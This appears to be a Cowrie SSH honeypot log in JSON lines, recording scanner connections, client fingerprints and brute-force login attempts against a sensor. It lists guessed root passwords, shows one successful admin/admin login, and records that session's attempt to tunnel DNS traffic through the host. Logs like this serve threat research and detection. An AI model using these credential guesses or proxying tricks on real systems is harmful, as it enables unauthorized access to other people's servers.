{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:22.660589Z","src_ip":"43.228.112.254","session":"a7f5336626e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:22.870642Z","src_ip":"43.228.112.254","session":"a7f5336626e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1950","message":"login attempt [root/1950] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:23.746652Z","src_ip":"43.228.112.254","session":"a7f5336626e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:24.961152Z","src_ip":"43.228.112.254","session":"a7f5336626e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":45742,"dst_ip":"10.17.0.5","dst_port":22,"session":"058d0b4e9fa0","protocol":"ssh","message":"New connection: 43.156.136.152:45742 (10.17.0.5:22) [session: 058d0b4e9fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:30.352012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:30.357324Z","src_ip":"43.156.136.152","session":"058d0b4e9fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:30.603412Z","src_ip":"43.156.136.152","session":"058d0b4e9fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anju","message":"login attempt [root/anju] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:31.616127Z","src_ip":"43.156.136.152","session":"058d0b4e9fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:32.865559Z","src_ip":"43.156.136.152","session":"058d0b4e9fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2544,"dst_ip":"10.17.0.5","dst_port":22,"session":"e44278d1fabf","protocol":"ssh","message":"New connection: 87.251.64.176:2544 (10.17.0.5:22) [session: e44278d1fabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:43.618549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:43.623616Z","src_ip":"87.251.64.176","session":"e44278d1fabf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:43.721610Z","src_ip":"87.251.64.176","session":"e44278d1fabf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:44.013427Z","src_ip":"87.251.64.176","session":"e44278d1fabf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:44.111927Z","session":"e44278d1fabf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:44.209306Z","src_ip":"87.251.64.176","session":"e44278d1fabf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:44.445735Z","src_ip":"87.251.64.176","session":"e44278d1fabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51120,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bebaa388a0c","protocol":"ssh","message":"New connection: 152.42.212.128:51120 (10.17.0.5:22) [session: 1bebaa388a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:53.351636Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:53.356062Z","src_ip":"152.42.212.128","session":"1bebaa388a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:53.359839Z","src_ip":"152.42.212.128","session":"1bebaa388a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.9","src_port":58802,"dst_ip":"10.17.0.5","dst_port":22,"session":"da3fcec50936","protocol":"ssh","message":"New connection: 205.210.31.9:58802 (10.17.0.5:22) [session: da3fcec50936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:55.295967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:56.657053Z","src_ip":"205.210.31.9","session":"da3fcec50936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:57.703945Z","src_ip":"205.210.31.9","session":"da3fcec50936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:06.171531Z","src_ip":"205.210.31.9","session":"da3fcec50936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":57974,"dst_ip":"10.17.0.5","dst_port":22,"session":"d45d33842678","protocol":"ssh","message":"New connection: 192.169.243.246:57974 (10.17.0.5:22) [session: d45d33842678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:06.177301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:06.184012Z","src_ip":"192.169.243.246","session":"d45d33842678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:06.269151Z","src_ip":"192.169.243.246","session":"d45d33842678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#EDC","message":"login attempt [root/1qaz2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:06.563588Z","src_ip":"192.169.243.246","session":"d45d33842678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:07.643747Z","src_ip":"192.169.243.246","session":"d45d33842678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":47816,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d32b5580a2f","protocol":"ssh","message":"New connection: 37.143.61.84:47816 (10.17.0.5:22) [session: 3d32b5580a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:25.683623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:25.787921Z","src_ip":"37.143.61.84","session":"3d32b5580a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:25.893836Z","src_ip":"37.143.61.84","session":"3d32b5580a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yu123456@","message":"login attempt [root/Yu123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:26.891130Z","src_ip":"37.143.61.84","session":"3d32b5580a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:28.002619Z","src_ip":"37.143.61.84","session":"3d32b5580a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":44210,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d58f05a56c2","protocol":"ssh","message":"New connection: 20.203.59.187:44210 (10.17.0.5:22) [session: 8d58f05a56c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:31.875156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:31.880137Z","src_ip":"20.203.59.187","session":"8d58f05a56c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:32.036751Z","src_ip":"20.203.59.187","session":"8d58f05a56c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadmin","message":"login attempt [root/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:32.697022Z","src_ip":"20.203.59.187","session":"8d58f05a56c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:33.857458Z","src_ip":"20.203.59.187","session":"8d58f05a56c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40520,"dst_ip":"159.203.135.109","dst_port":22,"session":"028371357684","protocol":"ssh","message":"New connection: 193.32.162.151:40520 (159.203.135.109:22) [session: 028371357684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:37.304536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:37.309142Z","src_ip":"193.32.162.151","session":"028371357684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:37.413262Z","src_ip":"193.32.162.151","session":"028371357684","protocol":"ssh"}
